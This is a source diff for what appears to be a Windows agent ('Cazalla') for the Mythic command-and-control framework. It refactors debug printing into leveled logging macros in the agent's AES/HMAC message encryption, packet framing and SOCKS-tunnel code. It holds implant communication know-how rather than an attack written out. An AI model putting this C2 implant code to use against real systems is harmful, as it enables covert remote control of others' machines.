pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT); pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) { if (!pkg->buffer) {
printf("[CRYPTO] ERROR: Failed to prepend IV\n"); _err("Failed to prepend IV");
return FALSE; return FALSE;
} }
memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length); memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
memcpy(pkg->buffer, iv, IVSIZE); memcpy(pkg->buffer, iv, IVSIZE);
pkg->length += IVSIZE; pkg->length += IVSIZE;
printf("[CRYPTO] After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)\n", _dbg("After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)",
pkg->length, IVSIZE, padded_len); pkg->length, IVSIZE, padded_len);
// Calculate HMAC (IV + Ciphertext) // Calculate HMAC (IV + Ciphertext)
printf("[CRYPTO] Calculating HMAC-SHA256 over IV + Ciphertext...\n"); _inf("Calculating HMAC-SHA256 over IV + Ciphertext...");
PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE); PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
SIZE_T hmac_size = SHA256_HASH_SIZE; SIZE_T hmac_size = SHA256_HASH_SIZE;
printf("[CRYPTO] HMAC input length: %zu bytes (for HMAC calculation)\n", pkg->length); _dbg("HMAC input length: %zu bytes (for HMAC calculation)", pkg->length);
hmac_sha256( hmac_sha256(
g_aesKey, AES_KEY_SIZE, g_aesKey, AES_KEY_SIZE,
pkg->buffer, pkg->length, pkg->buffer, pkg->length,
hmac, hmac_size hmac, hmac_size
); );
printf("[CRYPTO] HMAC calculated (hex): "); _dbg("HMAC calculated (hex): ");
for (size_t i = 0; i < hmac_size; i++) { for (size_t i = 0; i < hmac_size; i++) {
printf("%02x ", hmac[i]); _dbg(" %02x ", hmac[i]);
} }
printf("\n");
// Append HMAC // Append HMAC
printf("[CRYPTO] Appending HMAC (%zu bytes)...\n", SHA256_HASH_SIZE); _dbg("Appending HMAC (%zu bytes)...", SHA256_HASH_SIZE);
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT); pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!pkg->buffer) { if (!pkg->buffer) {
free(hmac); free(hmac);
printf("[CRYPTO] ERROR: Failed to append HMAC\n"); _err("Failed to append HMAC");
return FALSE; return FALSE;
} }
memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE); memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
pkg->length += SHA256_HASH_SIZE; pkg->length += SHA256_HASH_SIZE;
free(hmac); free(hmac);
printf("[CRYPTO] === ENCRYPTION COMPLETE ===\n"); _inf("=== ENCRYPTION COMPLETE ===");
printf("[CRYPTO] Final encrypted package: %zu bytes\n", pkg->length); _dbg("Final encrypted package: %zu bytes", pkg->length);
printf("[CRYPTO] Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", padded_len); _dbg("Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", padded_len);
fflush(stdout);
return TRUE; return TRUE;
} }
// AES decrypt parser for Mythic (based on Xenon implementation) // AES decrypt parser for Mythic (based on Xenon implementation)
BOOL CryptoMythicDecryptParser(void* analizador) { BOOL CryptoMythicDecryptParser(void* analizador) {
PAnalizador parser = (PAnalizador)analizador; PAnalizador parser = (PAnalizador)analizador;
printf("[CRYPTO] === CryptoMythicDecryptParser START ===\n"); _inf("=== CryptoMythicDecryptParser START ===");
if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) { if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
printf("[CRYPTO] ERROR: Invalid parser (parser=%p, buffer=%p, size=%zu)\n", _err("Invalid parser (parser=%p, buffer=%p, size=%zu)",
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0); parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
printf("[CRYPTO] Minimum required: %d bytes\n", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE); _err("Minimum required: %d bytes", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
return FALSE; return FALSE;
} }
printf("[CRYPTO] Input parser: size=%zu bytes\n", parser->tamano); _dbg("Input parser: size=%zu bytes", parser->tamano);
// Log first bytes of encrypted data // Log first bytes of encrypted data
printf("[CRYPTO] Encrypted data preview (hex, first 64 bytes): "); _dbg("Encrypted data preview (hex, first 64 bytes): ");
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) { for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
printf("%02x ", parser->buffer[i]); _dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n");
if (!g_aesKeySet) { if (!g_aesKeySet) {
printf("[CRYPTO] ERROR: AES key not set\n"); _err("AES key not set");
return FALSE; return FALSE;
} }
printf("[CRYPTO] AES key is set\n"); _dbg("AES key is set");
// Extract HMAC from end // Extract HMAC from end
PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE; PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE; SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
printf("[CRYPTO] === EXTRACTING COMPONENTS ===\n"); _dbg("=== EXTRACTING COMPONENTS ===");
printf("[CRYPTO] Total size: %zu bytes\n", parser->tamano); _dbg("Total size: %zu bytes", parser->tamano);
printf("[CRYPTO] HMAC offset: %zu bytes from start\n", parser->tamano - SHA256_HASH_SIZE); _dbg("HMAC offset: %zu bytes from start", parser->tamano - SHA256_HASH_SIZE);
printf("[CRYPTO] Encrypted data length (without IV and HMAC): %zu bytes\n", encrypted_data_length); _dbg("Encrypted data length (without IV and HMAC): %zu bytes", encrypted_data_length);
printf("[CRYPTO] Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", encrypted_data_length); _dbg("Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", encrypted_data_length);
// Extract and log IV // Extract and log IV
BYTE *iv = parser->buffer; BYTE *iv = parser->buffer;
printf("[CRYPTO] IV (first 16 bytes, hex): "); _dbg("IV (first 16 bytes, hex): ");
for (int i = 0; i < IVSIZE; i++) { for (int i = 0; i < IVSIZE; i++) {
printf("%02x ", iv[i]); _dbg(" %02x ", iv[i]);
} }
printf("\n");
// Log HMAC provided // Log HMAC provided
printf("[CRYPTO] HMAC provided (last 32 bytes, hex): "); _dbg("HMAC provided (last 32 bytes, hex): ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_provided[i]); _dbg(" %02x ", hmac_provided[i]);
} }
printf("\n");
// Verify HMAC // Verify HMAC
printf("[CRYPTO] === VERIFYING HMAC ===\n"); _inf("=== VERIFYING HMAC ===");
printf("[CRYPTO] Calculating HMAC over %zu bytes (IV + Ciphertext)\n", IVSIZE + encrypted_data_length); _dbg("Calculating HMAC over %zu bytes (IV + Ciphertext)", IVSIZE + encrypted_data_length);
PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE); PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
if (!hmac_calculated) { if (!hmac_calculated) {
printf("[CRYPTO] ERROR: Failed to allocate HMAC buffer\n"); _err("Failed to allocate HMAC buffer");
return FALSE; return FALSE;
} }
@@ -274,102 +268,96 @@ BOOL CryptoMythicDecryptParser(void* analizador) {
hmac_calculated, SHA256_HASH_SIZE hmac_calculated, SHA256_HASH_SIZE
); );
printf("[CRYPTO] HMAC calculated (hex): "); _dbg("HMAC calculated (hex): ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_calculated[i]); _dbg(" %02x ", hmac_calculated[i]);
} }
printf("\n");
if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) { if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
printf("[CRYPTO] === HMAC VERIFICATION FAILED ===\n"); _err("=== HMAC VERIFICATION FAILED ===");
printf("[CRYPTO] Provided HMAC: "); _err("Provided HMAC: ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_provided[i]); _err(" %02x ", hmac_provided[i]);
} }
printf("\n[CRYPTO] Calculated HMAC: "); _err("Calculated HMAC: ");
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
printf("%02x ", hmac_calculated[i]); _err(" %02x ", hmac_calculated[i]);
} }
printf("\n[CRYPTO] Data used for HMAC calculation (first 48 bytes): "); _dbg("Data used for HMAC calculation (first 48 bytes): ");
for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) { for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
printf("%02x ", parser->buffer[i]); _dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 16 == 0) printf("\n[CRYPTO] "); if ((i + 1) % 16 == 0) _dbg("\n");
} }
printf("\n");
free(hmac_calculated); free(hmac_calculated);
return FALSE; return FALSE;
} }
printf("[CRYPTO] HMAC verification SUCCESS\n"); _inf("HMAC verification SUCCESS");
free(hmac_calculated); free(hmac_calculated);
// Decrypt // Decrypt
printf("[CRYPTO] === DECRYPTING ===\n"); _inf("=== DECRYPTING ===");
printf("[CRYPTO] Initializing AES context with IV...\n"); _dbg("Initializing AES context with IV...");
struct AES_ctx ctx; struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, g_aesKey, iv); AES_init_ctx_iv(&ctx, g_aesKey, iv);
printf("[CRYPTO] Decrypting %zu bytes of ciphertext...\n", encrypted_data_length); _inf("Decrypting %zu bytes of ciphertext...", encrypted_data_length);
AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length); AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
printf("[CRYPTO] Decryption complete\n"); _dbg("Decryption complete");
// Log decrypted data before unpadding // Log decrypted data before unpadding
printf("[CRYPTO] Decrypted data (before unpadding, hex, first 64 bytes): "); _dbg("Decrypted data (before unpadding, hex, first 64 bytes): ");
for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) { for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
printf("%02x ", parser->buffer[IVSIZE + i]); _dbg(" %02x ", parser->buffer[IVSIZE + i]);
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n");
// Remove padding // Remove padding
printf("[CRYPTO] === REMOVING PADDING ===\n"); _dbg("=== REMOVING PADDING ===");
BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1]; BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
printf("[CRYPTO] Padding length from last byte: %d\n", padding_length); _dbg("Padding length from last byte: %d", padding_length);
printf("[CRYPTO] Last 16 bytes (should show padding): "); _dbg("Last 16 bytes (should show padding): ");
size_t padding_start = IVSIZE + encrypted_data_length - 16; size_t padding_start = IVSIZE + encrypted_data_length - 16;
for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) { for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
printf("%02x ", parser->buffer[padding_start + i]); _dbg(" %02x ", parser->buffer[padding_start + i]);
} }
printf("\n");
if (padding_length > AES_BLOCKLEN) { if (padding_length > AES_BLOCKLEN) {
printf("[CRYPTO] ERROR: Invalid padding length: %d\n", padding_length); _err("Invalid padding length: %d", padding_length);
return FALSE; return FALSE;
} }
SIZE_T unpadded_len = encrypted_data_length - padding_length; SIZE_T unpadded_len = encrypted_data_length - padding_length;
printf("[CRYPTO] Unpadded length: %zu bytes\n", unpadded_len); _dbg("Unpadded length: %zu bytes", unpadded_len);
// Update parser // Update parser
SIZE_T original_size = parser->tamano; SIZE_T original_size = parser->tamano;
printf("[CRYPTO] Moving decrypted data to start of buffer (removing IV)...\n"); _dbg("Moving decrypted data to start of buffer (removing IV)...");
memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len); memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE); parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
parser->tamano = unpadded_len; parser->tamano = unpadded_len;
// Log final decrypted data // Log final decrypted data
printf("[CRYPTO] === DECRYPTION COMPLETE ===\n"); _inf("=== DECRYPTION COMPLETE ===");
printf("[CRYPTO] Final decrypted size: %zu bytes (original encrypted: %zu bytes)\n", _dbg("Final decrypted size: %zu bytes (original encrypted: %zu bytes)",
parser->tamano, original_size); parser->tamano, original_size);
printf("[CRYPTO] Final decrypted data (hex, first 64 bytes): "); _dbg("Final decrypted data (hex, first 64 bytes): ");
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) { for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
printf("%02x ", parser->buffer[i]); _dbg(" %02x ", parser->buffer[i]);
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n");
// Log as ASCII if printable // Log as ASCII if printable
if (parser->tamano > 0) { if (parser->tamano > 0) {
printf("[CRYPTO] First byte: 0x%02X\n", parser->buffer[0]); _dbg("First byte: 0x%02X", parser->buffer[0]);
if (parser->tamano >= 36) { if (parser->tamano >= 36) {
char uuidBuf[37] = {0}; char uuidBuf[37] = {0};
memcpy(uuidBuf, parser->buffer, 36); memcpy(uuidBuf, parser->buffer, 36);
printf("[CRYPTO] First 36 bytes (should be UUID if present): %s\n", uuidBuf); _dbg("First 36 bytes (should be UUID if present): %s", uuidBuf);
} }
} }
printf("[CRYPTO] Parser decrypted successfully (length: %zu)\n", parser->tamano); _inf("Parser decrypted successfully (length: %zu)", parser->tamano);
fflush(stdout);
return TRUE; return TRUE;
} }
@@ -1,42 +1,83 @@
#pragma once #pragma once
#include <stdio.h> #include <stdio.h>
#include <windows.h>
#include <string.h>
#if defined(_DEBUG) /* Debug level defines (from DEBUG_LEVEL parameter, set by Makefile):
* 0 = NONE - no debug output
* 1 = ERR - only _err() messages
* 2 = WRN - _err() + _wrn() messages
* 3 = INF - _err() + _wrn() + _inf() messages
* 4 = ALL - all messages (_err() + _wrn() + _inf() + _dbg())
*/
/* Debug output defines (from DEBUG_OUTPUT parameter, set by Makefile):
* 0 = CONSOLE - output to stdout (printf)
* 1 = FILE - output to C:\Temp\Ra.log
*/
#if defined(DEBUG_LEVEL) && DEBUG_LEVEL > 0
/* Debug is enabled - determine which levels are active */
#define ENABLE_ERR 1 /* Always enable errors (level >= 1) */
#define ENABLE_WRN (DEBUG_LEVEL >= 2)
#define ENABLE_INF (DEBUG_LEVEL >= 3)
#define ENABLE_DBG (DEBUG_LEVEL >= 4)
#define DBG "DBG" #define DBG "DBG"
#define ERR "ERR" #define ERR "ERR"
#define WRN "WRN" #define WRN "WRN"
#define INF "INF" #define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); #if defined(DEBUG_OUTPUT) && DEBUG_OUTPUT == 1
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) /* File-based logging */
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) #define _log(level, format, ...) do { \
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); \
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) if (debugFile != INVALID_HANDLE_VALUE) { \
#elif defined(_DEBUG_RELEASE) CHAR out[512] = { 0 }; \
#define DBG DWORD written = 0; \
#define ERR sprintf_s(out, sizeof(out), "[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
#define WRN WriteFile(debugFile, out, (DWORD)strlen(out), &written, NULL); \
#define INF CloseHandle(debugFile); \
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\ } \
CHAR out[200] = { 0 };\ } while(0)
sprintf(out, format"\n", ## __VA_ARGS__);\ #else
WriteFile(debugFile, out, strlen(out), NULL, NULL);\ /* Console-based logging (default) */
CloseHandle(debugFile);} #define _log(level, format, ...) do { \
printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
fflush(stdout); \
} while(0)
#endif
/* Level-specific macros */
#if ENABLE_DBG
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) #define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#else
#define _dbg(format, ...) ((void)0)
#endif
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) #define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#if ENABLE_WRN
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) #define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#else
#define _wrn(format, ...) ((void)0)
#endif
#if ENABLE_INF
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) #define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else #else
#define DBG #define _inf(format, ...) ((void)0)
#define ERR #endif
#define WRN
#define INF #else
#define _log(level, format, ...)
#define _dbg(format, ...) /* Release build: no debug output */
#define _err(format, ...) #define _log(level, format, ...) ((void)0)
#define _wrn(format, ...) #define _dbg(format, ...) ((void)0)
#define _inf(format, ...) #define _err(format, ...) ((void)0)
#define _wrn(format, ...) ((void)0)
#define _inf(format, ...) ((void)0)
#endif #endif
@@ -1,18 +1,14 @@
#include "cazalla.h" #include "cazalla.h"
#include <stdio.h>
int main() { int main() {
printf("=== CAZALLA AGENT STARTING ===\n"); _inf("=== CAZALLA AGENT STARTING ===");
fflush(stdout);
#ifdef AESPSK #ifdef AESPSK
printf("AESPSK: %s\n", AESPSK); _inf("AESPSK: %s", AESPSK);
fflush(stdout);
#endif #endif
Sleep(2000); // Pausa 2 segundos para ver si inicia Sleep(2000); // Pausa 2 segundos para ver si inicia
cazallaMain(); cazallaMain();
printf("=== CAZALLA AGENT EXITING ===\n"); _inf("=== CAZALLA AGENT EXITING ===");
fflush(stdout); _inf("Press any key to exit...");
printf("Press any key to exit...\n");
getchar(); getchar();
return 0; return 0;
} }
@@ -3,15 +3,9 @@
#include "paquete.h" #include "paquete.h"
#include "socks_manager.h" #include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. // Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) { PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init); _dbg("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) { if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n"); _err("Error: fallo al asignar memoria para Paquete\n");
@@ -32,7 +26,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
} }
VOID liberarPaquete(PPaquete paquete) { VOID liberarPaquete(PPaquete paquete) {
DBG_PRINTF("liberarPaquete()"); _dbg("liberarPaquete()");
LocalFree(paquete->buffer); LocalFree(paquete->buffer);
LocalFree(paquete); LocalFree(paquete);
} }
@@ -40,8 +34,7 @@ VOID liberarPaquete(PPaquete paquete) {
/* Callback C para volcar mensajes SOCKS al paquete */ /* Callback C para volcar mensajes SOCKS al paquete */
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) { static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
PPaquete pkt = (PPaquete)ctx; PPaquete pkt = (PPaquete)ctx;
printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len); _dbg("flush_socks_cb: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
fflush(stdout);
addInt32(pkt, server_id); addInt32(pkt, server_id);
addByte(pkt, (BYTE)(exit_flag ? 1 : 0)); addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
if (data_len && data) { if (data_len && data) {
@@ -53,54 +46,44 @@ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned cha
} else { } else {
addInt32(pkt, 0); addInt32(pkt, 0);
} }
printf("[SOCKS] flush_socks_cb completed\n"); _dbg("flush_socks_cb completed");
fflush(stdout);
} }
/* === Nueva función: inserta tráfico SOCKS pendiente === */ /* === Nueva función: inserta tráfico SOCKS pendiente === */
static VOID flushSocksTraffic(PPaquete paquete) { static VOID flushSocksTraffic(PPaquete paquete) {
printf("[PAQUETE] flushSocksTraffic()\n"); _dbg("flushSocksTraffic()");
fflush(stdout);
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */ /* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
PPaquete temp = nuevoPaquete(0, FALSE); PPaquete temp = nuevoPaquete(0, FALSE);
if (!temp) { if (!temp) {
printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n"); _err("nuevoPaquete temp failed");
fflush(stdout);
return; return;
} }
printf("[PAQUETE] temp paquete created\n"); _dbg("temp paquete created");
fflush(stdout);
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp); socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length); _dbg("socks_manager_flush_outgoing done, temp->length=%zu", temp->length);
fflush(stdout);
if (temp->length > 0) { if (temp->length > 0) {
printf("[PAQUETE] Adding SOCKS block marker\n"); _dbg("Adding SOCKS block marker");
fflush(stdout);
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */ /* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER); addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
addInt32(paquete, (UINT32)temp->length); addInt32(paquete, (UINT32)temp->length);
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE); addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
} }
liberarPaquete(temp); liberarPaquete(temp);
printf("[PAQUETE] flushSocksTraffic() completed\n"); _dbg("flushSocksTraffic() completed");
fflush(stdout);
} }
/* === Enviar paquete con soporte SOCKS === */ /* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) { PAnalizador mandarPaquete(PPaquete paquete) {
printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length); _dbg("mandarPaquete() len=%zu", paquete->length);
fflush(stdout);
// Solo añadir tráfico SOCKS si el proxy está activo // Solo añadir tráfico SOCKS si el proxy está activo
if (socks_proxy_active) { if (socks_proxy_active) {
printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n"); _dbg("SOCKS activo, flushSocksTraffic()");
fflush(stdout);
flushSocksTraffic(paquete); flushSocksTraffic(paquete);
} else { } else {
printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n"); _dbg("SOCKS inactivo, saltando flushSocksTraffic()");
fflush(stdout);
} }
// === Handle encryption according to Mythic format === // === Handle encryption according to Mythic format ===
@@ -110,7 +93,7 @@ PAnalizador mandarPaquete(PPaquete paquete) {
SIZE_T tamanoAEnviar = 0; SIZE_T tamanoAEnviar = 0;
if (crypto_is_encryption_enabled()) { if (crypto_is_encryption_enabled()) {
printf("[PAQUETE] Cifrado habilitado, formato: Base64(UUID + AES256(data))\n"); _inf("Cifrado habilitado, formato: Base64(UUID + AES256(data))");
// Extract UUID - UUID is always 36 characters (UUIDv4 format) // Extract UUID - UUID is always 36 characters (UUIDv4 format)
// Format: [UUID(36)][command_byte][rest...] // Format: [UUID(36)][command_byte][rest...]
@@ -118,8 +101,8 @@ PAnalizador mandarPaquete(PPaquete paquete) {
const SIZE_T UUID_LENGTH = 36; const SIZE_T UUID_LENGTH = 36;
if (paquete->length < UUID_LENGTH + 1) { if (paquete->length < UUID_LENGTH + 1) {
printf("[PAQUETE] ERROR: Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)\n", _err("Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)",
paquete->length, UUID_LENGTH + 1); paquete->length, UUID_LENGTH + 1);
return NULL; return NULL;
} }
@@ -131,32 +114,30 @@ PAnalizador mandarPaquete(PPaquete paquete) {
// Log UUID extraction with detailed info // Log UUID extraction with detailed info
char uuidBuf[37] = {0}; char uuidBuf[37] = {0};
memcpy(uuidBuf, uuidStr, UUID_LENGTH); memcpy(uuidBuf, uuidStr, UUID_LENGTH);
printf("[PAQUETE] === EXTRACTING UUID ===\n"); _dbg("=== EXTRACTING UUID ===");
printf("[PAQUETE] Tamaño total del paquete: %zu bytes\n", paquete->length); _dbg("Tamaño total del paquete: %zu bytes", paquete->length);
printf("[PAQUETE] UUID extraído: %s (length: %zu)\n", uuidBuf, UUID_LENGTH); _dbg("UUID extraído: %s (length: %zu)", uuidBuf, UUID_LENGTH);
printf("[PAQUETE] Data offset (after UUID): %zu\n", dataOffset); _dbg("Data offset (after UUID): %zu", dataOffset);
printf("[PAQUETE] Datos a cifrar: %zu bytes\n", dataLength); _dbg("Datos a cifrar: %zu bytes", dataLength);
// Log raw packet structure // Log raw packet structure
printf("[PAQUETE] Raw packet structure (first 60 bytes, hex): "); _dbg("Raw packet structure (first 60 bytes, hex): ");
for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) { for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) {
printf("%02x ", ((PBYTE)paquete->buffer)[i]); _dbg(" %02x ", ((PBYTE)paquete->buffer)[i]);
if ((i + 1) % 16 == 0) printf("\n[PAQUETE] "); if ((i + 1) % 16 == 0) _dbg("\n");
} }
printf("\n");
fflush(stdout);
// Create a temporary package with only the data part (without UUID) // Create a temporary package with only the data part (without UUID)
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!dataPackage) { if (!dataPackage) {
printf("[PAQUETE] ERROR: Failed to allocate data package\n"); _err("Failed to allocate data package");
return NULL; return NULL;
} }
dataPackage->buffer = LocalAlloc(LPTR, dataLength); dataPackage->buffer = LocalAlloc(LPTR, dataLength);
if (!dataPackage->buffer) { if (!dataPackage->buffer) {
LocalFree(dataPackage); LocalFree(dataPackage);
printf("[PAQUETE] ERROR: Failed to allocate data buffer\n"); _err("Failed to allocate data buffer");
return NULL; return NULL;
} }
@@ -164,42 +145,37 @@ PAnalizador mandarPaquete(PPaquete paquete) {
dataPackage->length = dataLength; dataPackage->length = dataLength;
// Log data to encrypt // Log data to encrypt
printf("[PAQUETE] === DATA TO ENCRYPT (without UUID) ===\n"); _dbg("=== DATA TO ENCRYPT (without UUID) ===");
printf("[PAQUETE] Data length: %zu bytes\n", dataPackage->length); _dbg("Data length: %zu bytes", dataPackage->length);
printf("[PAQUETE] Data preview (hex, first 64 bytes): "); _dbg("Data preview (hex, first 64 bytes): ");
for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) { for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) {
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]); _dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n"); _dbg("First byte of data (should be command byte): 0x%02X",
printf("[PAQUETE] First byte of data (should be command byte): 0x%02X\n", dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
fflush(stdout);
// Encrypt only the data part (without UUID) // Encrypt only the data part (without UUID)
printf("[PAQUETE] === STARTING ENCRYPTION ===\n"); _inf("=== STARTING ENCRYPTION ===");
